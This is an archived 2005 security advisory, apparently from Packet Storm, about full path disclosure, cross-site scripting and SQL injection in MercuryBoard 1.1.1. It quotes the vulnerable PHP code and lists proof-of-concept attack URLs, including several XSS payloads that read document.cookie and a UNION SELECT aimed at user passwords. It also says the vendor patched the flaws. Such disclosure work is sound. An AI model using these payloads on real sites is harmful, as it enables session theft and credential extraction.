exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

codebug7.txt

codebug7.txt
Posted Jan 25, 2005
Site codebug.org

Codebug Labs Advisory 07 - MercuryBoard version 1.1.1 suffers from full path disclosure, cross site scripting, and SQL injection vulnerabilities.

tags | exploit, vulnerability, xss, sql injection
SHA-256 | a5dd346b2b76b8259b8056a173a7b0ddc02288d8e782620519e1e93d42cc7968

codebug7.txt

Change Mirror Download
*************************************************************
* CODEBUG Labs
* Advisory #7
* Title: Multiple vulnerabilities in MercuryBoard 1.1.1
* Author: Alberto Trivero
* English Version: Alberto Trivero
* Product: MercuryBoard 1.1.1
* Type: Multiple Vulnerabilities
* Web: http://www.codebug.org/
*************************************************************


--) Software Page (www.mercuryboard.com)

"MercuryBoard is a powerful message board system dedicated to raw speed with a mixture of
features, ease of use, and ease of customization coupled with expandability, and diverse
language services." Note that is write in PHP OOP.


--) Full Path Disclosure

Let's look at original code from global.php line 604:

<?
...
// some base variables
$current = ceil($min / $num);
$string = null;
$pages = ceil($rows / $num);
$end = ($pages - 1) * $num;
...
?>

As we can see there isn't a control to $num and so if we simply assign to $num the value 0
(or a not numerical argument), there will be an impossible division by zero that show the
full path:

http://www.sitewithmercuryboard.com/index.php?a=forum&f=2&min=0&n=0

Other Full Path Disclosure:

http://www.sitewithmercuryboard.com/lib/jpgraph/jpgraph_bar.php
http://www.sitewithmercuryboard.com/lib/jpgraph/jpgraph_log.php
http://www.sitewithmercuryboard.com/lib/jpgraph/jpgraph_polar.php
http://www.sitewithmercuryboard.com/admincp/admin.php
http://www.sitewithmercuryboard.com/func/[file] <--- All the PHP file in the dyrectory:
active.php board.php constants.php cp.php
debug.php email.php forum.php help.php login.php
members.php mod.php pm.php post.php printer.php
profile.php register.php search.php topic.php


--) Cross-Site Scripting (XSS)

Let's look at original code from /func/pm.php line 36:

<?
...
if (!isset($this->get['s'])) {
$this->get['s'] = null;
}
switch($this->get['s'])
{
case 'send':
return $this->send();
break;
case 'view':
return $this->view();
break;
case 'delete':
return $this->delete_pm();
break;
case 'clear':
return $this->clear();
break;
default:
return $this->folder();
break;
}
...
?>

As we can see there is a switch/case cycle to get 's' but in this cycle there isn't any
check if we put other parameter with 's', like this XSS code:

http://www.sitewithmercuryboard.com/index.php?a=pm&s='><script>alert(document.cookie)</script>

Let's look again at original code from /func/members.php line 35:

<?
...
if (!isset($this->get['l'])) {
$this->get['l'] = null;
} else {
$this->get['l'] = strtoupper($this->get['l']);
}
...
?>

As we can see, also in this case, there isn't parsing methods for the processing of 'l',
so nothing can prevent us from doing an XSS attack:

http://www.sitewithmercuryboard.com/index.php?a=members&l='><script>alert(document.cookie)</script>

Other Cross-Site Scripting:

http://www.sitewithmercuryboard.com/index.php?a='><script>alert(document.cookie)</script>
http://www.sitewithmercuryboard.com/index.php?a=post&s='><script>alert(document.cookie)</script>
http://www.sitewithmercuryboard.com/index.php?a=post&s=reply&t='><script>alert(document.cookie)</script>
http://www.sitewithmercuryboard.com/index.php?a=pm&s=send&to='><script>alert(document.cookie)</script>
http://www.sitewithmercuryboard.com/index.php?a=pm&s=send&to=2&re='><script>alert(document.cookie)</script>
http://www.sitewithmercuryboard.com/index.php?a=cp&s='><script>alert(document.cookie)</script>


--) SQL Injection

For the same reason because it's possible to execute the XSS codes described before, it's
also possible to do SQL Injection attacks. But in this case it's a non-critical bug, why?
Because we need first login as forum administrator to make successful attack. For example:

http://www.sitewithmercuryboard.com/index.php?a=post&s=reply&t=0%20UNION%20SELECT%20user_id,%20user_password%20FROM%20mb_users%20/*

With the URL before we get, for the just described reason, an error like this (verified
only on MercuryBoard 1.1.0):

The used SELECT statements have a different number of columns


--) Patch

After the report to developer of the board of these bugs, they released the version 1.1.2
of MercuryBoard that correct them: http://www.mercuryboard.com/index.php?a=downloads


*************************************************************
http://www.codebug.org
*************************************************************
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close